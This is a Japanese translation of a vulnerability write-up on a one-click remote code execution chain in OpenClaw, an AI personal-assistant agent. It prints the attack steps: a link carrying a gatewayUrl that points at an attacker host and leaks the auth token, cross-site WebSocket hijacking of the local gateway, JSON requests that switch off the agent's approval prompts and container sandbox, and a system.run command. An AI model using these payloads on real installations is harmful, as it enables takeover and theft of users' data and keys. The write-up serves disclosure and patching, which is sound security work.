
2026/02/02 4:47
RCE をクリックすると、Moltbot のデータやキーが盗まれます。
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
要約
OpenClaw(旧 Moltbot/ClawdBot)は、10万人以上の開発者に信頼されているオープンソースAIパーソナルアシスタントであり、1クリックだけで攻撃者が完全な管理権限を取得できる重大なロジック欠陥があります。
この攻撃は3段階で進行します:
- 取り込み – 悪意あるURLに
クエリパラメータが含まれます。gatewayUrl - 接続 – OpenClaw は即座に
を呼び出し、攻撃者制御のゲートウェイへ WebSocket 接続を開きます。connectGateway() - トークン流出 – authToken が自動的に WebSocket ハンドシェイクで送信されます。OpenClaw は Origin ヘッダーを検証しないため、localhost 接続でも(Cross‑Site WebSocket Hijacking)です。
盗まれたトークンは
operator.admin と operator.approvals を付与し、攻撃者は以下のことが可能になります:
で安全プロンプトを無効化exec.approvals.set
をパッチしてconfig.patch
を “gateway” に設定し、コンテナ化された実行を回避tools.exec.host- 任意のコマンドを実行(例:
→node.invoke
)system.run
この欠陥は v2026.1.24‑1 以前のすべての OpenClaw バージョンで利用可能です。 depthfirst General Security Intelligence と別の研究者により独立して発見され、GitHub Advisory を通じて公開されています。
対策:
近日リリース予定のパッチではゲートウェイURL用の確認ダイアログを追加し、自動接続機能を削除します。ユーザーは直ちにアップグレードし、漏洩の可能性があるトークンをローテーションし、疑わしいゲートウェイ活動を監視してローカルシステム乗っ取り・データ侵害・妨害行為を防止してください。
本文
テック界で最も注目されるエージェント、OpenClaw(旧 Moltbot & ClawdBot)をハッキングする方法
自分の代わりに行動できるオープンソースAIパーソナルアシスタントは現在X上で最も話題になっているテーマです。iMessage/WhatsApp/Slack へのアクセスから、ローカルコンピュータを無制限に操作するまで、10万件以上の開発者がデジタルライフの鍵として信頼しています。
エージェントが「ゴッドモード」権限を取得すると、ミスの余地はゼロになります。コミュニティはその機能を祝福しつつ、depthfirst の一般セキュリティインテリジェンスチームはこっそりコードを監査し、重大な脆弱性を発見しました。私はこの指摘を調査し、さらに別の欠陥と組み合わせて 1‑クリックでリモートコード実行(RCE)できるエクスプロイトを作成しました。悪意あるウェブページにアクセスするだけで、あなたのコンピュータ および AI アシスタントを同時にハックできます。
以下では、depthfirst が明らかにしたロジック欠陥と、それを武器化するために構築した正確なキルチェーンを解説します。
depthfirst が脆弱性を指摘した経緯
-
インジェスト
は URL のクエリパラメータとして渡されたapp-settings.ts
をそのまま受け取り、ストレージに永続化します。gatewayUrlconst gatewayUrlRaw = params.get("gatewayUrl"); if (gatewayUrlRaw != null) { const gatewayUrl = gatewayUrlRaw.trim(); if (gatewayUrl && gatewayUrl !== host.settings.gatewayUrl) { applySettings(host, { ...host.settings, gatewayUrl }); // saveSettings → localStorage で永続化 } } -
処理
は設定が適用された直後にapp-lifecycle.ts
を呼び出します。connectGateway()handleConnected(host) { … connectGateway(host); // URL パラメータ解析後すぐに実行 startNodesPolling(host); … } -
プロトコル実行
は認証トークンを自動的に新しいゲートウェイへの接続ハンドシェイクにバンドルします。gateway.tsconst params = { /* … */, authToken, locale: navigator.language }; void this.request<GatewayHelloOk>("connect", params);
それぞれは単独では安全ですが、組み合わせると「URL をクリックするだけで接続を強制し、認証トークンを漏洩させる」という重大なセキュリティ問題が発生します。depthfirst の UI プレビューには次のように記載されています。
1‑Click RCE エクスプロイト キルチェーン
限定的直接攻撃
限定的直接攻撃
エクスプロイト手順は以下です:
- 被害者が悪意あるリンクをクリック(またはリダイレクト)します。例:
。http://victim_openclaw.com?gatewayUrl=ws://attacker.com:8080 - 攻撃者の WebSocket サーバーが認証トークンを受信します。
- 攻撃者は盗まれたトークンで被害者の OpenClaw インスタンスにログインします。
攻撃者は個人データへアクセスし、被害者になりすまして行動(テキストメッセージ閲覧、Stripe API キー取得等)を実行できます。
制限事項
- ローカルで稼働している OpenClaw インスタンスには作用しません。
- 防御サンドボックスや安全ガードレールはバイパスできません。
- 任意コード実行は達成できません。
制限を克服する手段
1. localhost ネットワーク制限の回避
ほとんどのユーザーは
localhost 上で OpenClaw を動かします。正しい認証トークンがあっても、Same Origin Policy(SOP)のために攻撃者はアクセスできません。ただし:
- ブラウザは HTTP 接続には SOP を適用する一方、WebSocket には適用しない。
- OpenClaw の WebSocket サーバーは
ヘッダーを検証せず、任意のサイトからのリクエストを受け入れます。Origin
これにより クロスサイト WebSocket ハイジャック(CSWSH) が可能になります。
被害者が
attacker.com を訪れると、ブラウザ内で JavaScript を実行し ws://localhost:18789 へ接続します。ブラウザは attacker.com とローカル OpenClaw の間のピボットとなります。
2. サンドボックスからの脱出
OpenClaw の安全機能(例:
exec-approvals.json、コンテナ化されたシェルツール)は API を介して制御されます。盗まれたトークンは operator.admin と operator.approvals スコープを付与し、次の操作が可能になります:
-
ユーザー確認を無効化 –
リクエストでexec.approvals.set
を設定。ask: "off"{ "method": "exec.approvals.set", "params": { "defaults": { "security": "full", "ask": "off" } } } -
コンテナを無効化 –
リクエストでconfig.patch
をtools.exec.host
に設定し、コマンドをホスト上で直接実行。"gateway"
3. 任意コマンド実行
最後に
node.invoke リクエストを送信します:
{ "type": "req", "id": "4", "method": "node.invoke", "params": { "nodeId": "main", "command": "system.run", "params": { "cmd": "bash -c 'echo hacked > /tmp/hacked'" }, "timeoutMs": 60000, "idempotencyKey": "rev1" } }
これらはすべて、被害者が悪意あるページにアクセスしてから数ミリ秒で完了します。入力やプロンプトは不要です。
開示とパッチ
OpenClaw チームは私の報告を受けて迅速に問題を修正しました。GitHub Advisory には次のように記載されています:
- ゲートウェイ URL 確認モーダルが追加され、プロンプトなしで自動接続する挙動が排除されました。
以前のすべてのバージョンが脆弱です。v2026.1.24-1
OpenClaw をアップグレードし、トークンが漏洩している可能性がある場合はローテーションを行ってください。
最後に
depthfirst は攻撃者が発見する前に論理欠陥を検出するインテリジェンス層を構築しています。コードを公開しているなら、ぜひご相談ください。